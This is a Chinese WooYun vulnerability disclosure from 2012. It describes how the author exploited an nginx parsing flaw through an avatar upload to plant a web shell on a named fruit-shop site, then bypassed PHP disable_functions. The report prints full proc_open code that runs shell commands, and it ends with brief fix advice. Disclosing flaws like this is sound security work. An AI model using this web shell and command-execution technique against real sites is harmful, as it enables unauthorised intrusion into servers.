当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-015991

漏洞标题:某买果网站nginx解析+突破disable_function执行命令

相关厂商:阿喜网

漏洞作者: 猫大叔

提交时间:2012-12-14 11:12

修复时间:2013-01-28 11:13

公开时间:2013-01-28 11:13

漏洞类型:系统/服务运维配置不当

危害等级:中

自评Rank:5

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-12-14: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-01-28: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

运气好遇上了nginx解析漏洞,传了shell之后发现不能执行命令。仔细一看,有转机。。。

详细说明:

phpinfo信息泄露

http://axi.com.cn/phpinfo.php


2012-12-14 上午12.56.21.png


nginx 解析漏洞。
注册个用户,上传头像,成功拿到shell

2012-12-14 上午12.58.26.png


执行命令失败,看看disable_function有哪些函数。

1.png


发现未禁用 proc_open 函数,使用此函数来突破,代码如下:

<?php
$command="id\npwd\n";
$descriptorspec = array(
0 => array('pipe', 'r'),
1 => array('pipe', 'w'),
2 => array('pipe', 'w')
);

$resource = proc_open($command, $descriptorspec, $pipes, null, $_ENV);
if (is_resource($resource))
{
fwrite($pipes[0], "pwd\n");
$stdin = $pipes[0];
$stdout = $pipes[1];
$stderr = $pipes[2];

while (! feof($stdout))
{
$retval .= fgets($stdout,1024);
}

while (! feof($stderr))
{
$error .= fgets($stderr);
}
fwrite($pipes[0], "pwd\n");
$stdout = $pipes[1];
$stderr = $pipes[2];

while (! feof($stdout))
{
$retval .= fgets($stdout,1024);
}

while (! feof($stderr))
{
$error .= fgets($stderr);
}

fclose($stdin);
fclose($stdout);
fclose($stderr);

$exit_code = proc_close($resource);
}
if (! empty($error))
throw new Exception($error);
else
echo $retval;

?>


漏洞证明:

2.png

修复方案:

首要是配置好nginx,其次上传图片可以考虑二次渲染。

版权声明:转载请注明来源 猫大叔@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝